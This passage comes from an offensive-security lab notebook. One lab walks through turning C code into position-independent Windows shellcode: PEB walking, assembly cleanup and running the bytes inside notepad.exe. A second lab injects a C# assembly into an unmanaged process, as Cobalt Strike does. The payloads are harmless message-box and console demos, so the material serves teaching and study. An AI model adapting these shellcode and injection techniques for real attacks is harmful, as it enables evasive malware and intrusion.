        _In_opt_ LPCWSTR lpCaption,
        _In_ UINT uType) = (int (WINAPI*)(
            _In_opt_ HWND,
            _In_opt_ LPCWSTR,
            _In_opt_ LPCWSTR,
            _In_ UINT)) _GetProcAddress((HMODULE)u32_dll, message_box_name);

    if (_MessageBoxW == NULL) return 4;


    // invoke the message box winapi
    _MessageBoxW(0, msg_content, msg_title, MB_OK);

    return 0;
}
```

{% endtab %}

{% tab title="peb-lookup.h" %}

```cpp
#pragma once
#include <Windows.h>

#ifndef __NTDLL_H__

#ifndef TO_LOWERCASE
#define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1)
#endif


typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;

} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _PEB_LDR_DATA
{
    ULONG Length;
    BOOLEAN Initialized;
    HANDLE SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    PVOID      EntryInProgress;

} PEB_LDR_DATA, * PPEB_LDR_DATA;

//here we don't want to use any functions imported form extenal modules

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY  InLoadOrderModuleList;
    LIST_ENTRY  InMemoryOrderModuleList;
    LIST_ENTRY  InInitializationOrderModuleList;
    void* BaseAddress;
    void* EntryPoint;
    ULONG   SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG   Flags;
    SHORT   LoadCount;
    SHORT   TlsIndex;
    HANDLE  SectionHandle;
    ULONG   CheckSum;
    ULONG   TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;


typedef struct _PEB
{
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    BOOLEAN SpareBool;
    HANDLE Mutant;

    PVOID ImageBaseAddress;
    PPEB_LDR_DATA Ldr;

    // [...] this is a fragment, more elements follow here

} PEB, * PPEB;

#endif //__NTDLL_H__

inline LPVOID get_module_by_name(WCHAR* module_name)
{
    PPEB peb = NULL;
#if defined(_WIN64)
    peb = (PPEB)__readgsqword(0x60);
#else
    peb = (PPEB)__readfsdword(0x30);
#endif
    PPEB_LDR_DATA ldr = peb->Ldr;
    LIST_ENTRY list = ldr->InLoadOrderModuleList;

    PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list));
    PLDR_DATA_TABLE_ENTRY curr_module = Flink;

    while (curr_module != NULL && curr_module->BaseAddress != NULL) {
        if (curr_module->BaseDllName.Buffer == NULL) continue;
        WCHAR* curr_name = curr_module->BaseDllName.Buffer;

        size_t i = 0;
        for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) {
            WCHAR c1, c2;
            TO_LOWERCASE(c1, module_name[i]);
            TO_LOWERCASE(c2, curr_name[i]);
            if (c1 != c2) break;
        }
        if (module_name[i] == 0 && curr_name[i] == 0) {
            //found
            return curr_module->BaseAddress;
        }
        // not found, try next:
        curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;
    }
    return NULL;
}

inline LPVOID get_func_by_name(LPVOID module, char* func_name)
{
    IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module;
    if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
        return NULL;
    }
    IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew);
    IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
    if (exportsDir->VirtualAddress == NULL) {
        return NULL;
    }

    DWORD expAddr = exportsDir->VirtualAddress;
    IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module);
    SIZE_T namesCount = exp->NumberOfNames;

    DWORD funcsListRVA = exp->AddressOfFunctions;
    DWORD funcNamesListRVA = exp->AddressOfNames;
    DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals;

    //go through names:
    for (SIZE_T i = 0; i < namesCount; i++) {
        DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i * sizeof(DWORD));
        WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD));
        DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) * sizeof(DWORD));

        LPSTR curr_name = (LPSTR)(*nameRVA + (BYTE*)module);
        size_t k = 0;
        for (k = 0; func_name[k] != 0 && curr_name[k] != 0; k++) {
            if (func_name[k] != curr_name[k]) break;
        }
        if (func_name[k] == 0 && curr_name[k] == 0) {
            //found
            return (BYTE*)module + (*funcRVA);
        }
    }
    return NULL;
}
```

{% endtab %}
{% endtabs %}

We can now convert the C code in `c-shellcode.cpp` to assembly instructions like so:

```
"C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\Hostx64\x64\cl.exe" /c /FA /GS- c-shellcode.cpp
```

The switches' instruct the compiler to:

* `/c` - Prevent the automatic call to LINK
* `/FA` - Create a listing file containing assembler code for the provided C code
* `/GS-` - Turn off detection of some buffer overruns

Below shows how we compile the `c-shellcode.cpp` into `c-shellcode.asm`:

![Assembly instructions are generated based on the c-shellcode.asm](/files/-MMvLTqir0EKKu2IBYd1)

### 3. Massaging Assembly Listing

Now that our C code has been convered to assembly in `c-shellcode.asm`, we need to clean up the file a bit, so we can link it to an .exe without errors and to avoid the shellcode from crashing. Specifically, we need to:

1. Remove dependencies from external libraries
2. Align stack
3. Fix a simple syntax issue

#### 3.1 Remove Exteranal Libraries

First off, we need to comment out or remove instructions to link this module with libraries `libcmt` and `oldnames`:

![Comment out both includelib directives](/files/-MMqnQ_VJD70nMg5ExzK)

#### 3.2 Fix Stack Alignment

Add procedure `AlignRSP` right at the top of the first `_TEXT` segment in our `c-shellcode.asm`:

```css
; https://github.com/mattifestation/PIC_Bindshell/blob/master/PIC_Bindshell/AdjustStack.asm

; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior
; to calling the entry point of the payload. This is necessary because 64-bit functions
; in Windows assume that they were called with 16-byte stack alignment. When amd64
; shellcode is executed, you can't be assured that you stack is 16-byte aligned. For example,
; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely
; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)
; alignment.

AlignRSP PROC
    push rsi ; Preserve RSI since we're stomping on it
    mov rsi, rsp ; Save the value of RSP so it can be restored
    and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
    sub rsp, 020h ; Allocate homing space for ExecutePayload
    call main ; Call the entry point of the payload
    mov rsp, rsi ; Restore the original value of RSP
    pop rsi ; Restore RSI
    ret ; Return to caller
AlignRSP ENDP
```

Below shows how it should look like in the `c-shellcode.asm`:

![Add AlignRSP at the top of \_TEXT segment](/files/-MMqlTh9CEQZCnlOHVYT)

#### 3.3 Remove PDATA and XDATA Segments

Remove or comment out `PDATA` and `XDATA` segments as shown below:

![](/files/-MMtNQ4fu7chS1NcL7dr)

#### 3.4 Fix Syntax Issues

We need to change line `mov rax, QWORD PTR gs:96` to `mov rax, QWORD PTR gs:[96]`:&#x20;

![](/files/-MMqmpGS6_Mk6TauvQ5H)

### 4. Linking to an EXE

We are now ready to link the assembly listings inside `c-shellcode.asm` to get an executable `c-shellcode.exe`:

```
"C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.26.28801\bin\Hostx64\x64\ml64.exe" c-shellcode.asm /link /entry:AlignRSP
```

![](/files/-MMqnzvo5QuXnWDNwFXt)

### 5. Testing the EXE

We can now check that if `c-shellcode.exe` does what it was meant to - pops a message box:

![](/files/-MMqoEAiV36kIryHhqAi)

### 6. Copying Out Shellcode

Once we have the `c-shellcode.exe` binary, we can extract the shellcode and execute it using any [code injection](/offensive-security/code-injection-process-injection) technique, but for the sake of this lab, we will copy it out as a list of hex values and simply paste them into an RWX memory slot inside a notepad.exe.

Let's copy out the shellcode from the `.text` section, which in our case starts at 0x200 into the raw file:

![](/files/-MMqsAmNT3qw_Qx4XTIs)

If you are wondering how we found the shellcode location, look at the `.text` section - you can extract  if from there too:

![](/files/-MMtCPhSxgjHls__TRAc)

### 7. Testing Shellcode

Once the shellcode is copied, let's paste it to an RWX memory area (you can set any memory location to have permissions RWX with xdbg64) inside notepad, set RIP to that location and resume code execution in that location. If we did all the previous steps correctly, we should see our shellcode execute and pop the message box:

![notepad.exe executing shellcode that pops a MessageBox as seen in xdbg64](/files/-MMqufoSszmeGw2J1lbW)

## References

[From a C project, through assembly, to shellcode](https://vxug.fakedoma.in/papers/VXUG/Exclusive/FromaCprojectthroughassemblytoshellcodeHasherezade.pdf)


# Injecting .NET Assembly to an Unmanaged Process

This is a quick lab to see what API sequence makes it possible to inject C# .NET assemblies / PE files (.exe and .dll) into an unmanaged process and invoke their methods.

{% hint style="info" %}
This is the technique that makes `execute-assembly` command possible in Cobalt Strike.
{% endhint %}

## Overview

At a high level, it works as follows:

1. `CLRCreateInstance` is used to retrieve an interface [`ICLRMetaHost`](https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-interface)
2. `ICLRMetaHost->GetRuntime` is used to retrieve [`ICLRRuntimeInfo`](https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-interface) interface for a specified CLR version
3. `ICLRRuntimeInfo->GetInterface` is used to load the CLR into the current process and retrieve an interface [`ICLRRuntimeHost`](https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface)
4. `ICLRRuntimeHost->Start` is used to initialize the CLR into the current process
5. `ICLRRuntimeHost->ExecuteInDefaultAppDomain` is used to load the C# .NET assembly and call a particular method with an optionally provided argument

## Code

* `unmanaged.cpp` (in my lab compiled to `LoadCLR.exe`) - a C++ program that loads a C# assembly

  `CLRHello1.exe` and invokes its method `spotlessMethod`
* `managed.cs` (in my lab compiled to `CLRHello1.exe`) - a C# program that is loaded by the unmanaged process (`LoadCLR.exe`). It has a method `spotlessMethod` that is invoked via `ExecuteInDefaultAppDomain.`O

Once invoked, the `spotlessMethod` prints out `Hi from CLR` to the console window.

{% tabs %}
{% tab title="unmanaged.cpp" %}

```cpp
// code mostly stolen from pabloko's comment in https://gist.github.com/xpn/e95a62c6afcf06ede52568fcd8187cc2
#include <iostream>
#include <metahost.h>
#include <corerror.h>
#pragma comment(lib, "mscoree.lib")

int main()
{
    ICLRMetaHost* metaHost = NULL;
    ICLRRuntimeInfo* runtimeInfo = NULL;
    ICLRRuntimeHost* runtimeHost = NULL;
    DWORD pReturnValue;

    CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost);
    metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo);
    runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost);
    runtimeHost->Start();
    HRESULT res = runtimeHost->ExecuteInDefaultAppDomain(L"C:\\labs\\CLRHello1\\CLRHello1\\CLRHello1\\bin\\Debug\\CLRHello1.exe", L"CLRHello1.Program", L"spotlessMethod", L"test", &pReturnValue);
    if (res == S_OK)
    {
        std::cout << "CLR executed successfully\n";
    }
    
    runtimeInfo->Release();
    metaHost->Release();
    runtimeHost->Release();
    return 0;
}
```

{% endtab %}

{% tab title="managed.cs" %}

```csharp
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace CLRHello1
{
    class Program
    {
        static void Main(string[] args)
        {
            return;   
        }
        
        // important: methods called by ExecuteInDefaultAppDomain need to stick to this signature
        static int spotlessMethod(String pwzArgument)
        {
            Console.WriteLine("Hi from CLR");
            return 1;
        }
    }
}
```

{% endtab %}
{% endtabs %}

## Demo

Below shows how `LoadCLR.exe` loaded our C# assembly `CLRHello.exe` (seen in `LoadCLR.exe` loaded modules tab) and invoked the `spotlessMethod`, that printed `Hi from CLR` to the console:

![](/files/-MAMu40gYPkzETCaO8-P)

## References

{% embed url="<https://blog.xpnsec.com/hiding-your-dotnet-etw/>" %}

<https://gist.github.com/xpn/e95a62c6afcf06ede52568fcd8187cc2>




---

[Next Page](/llms-full.txt/1)

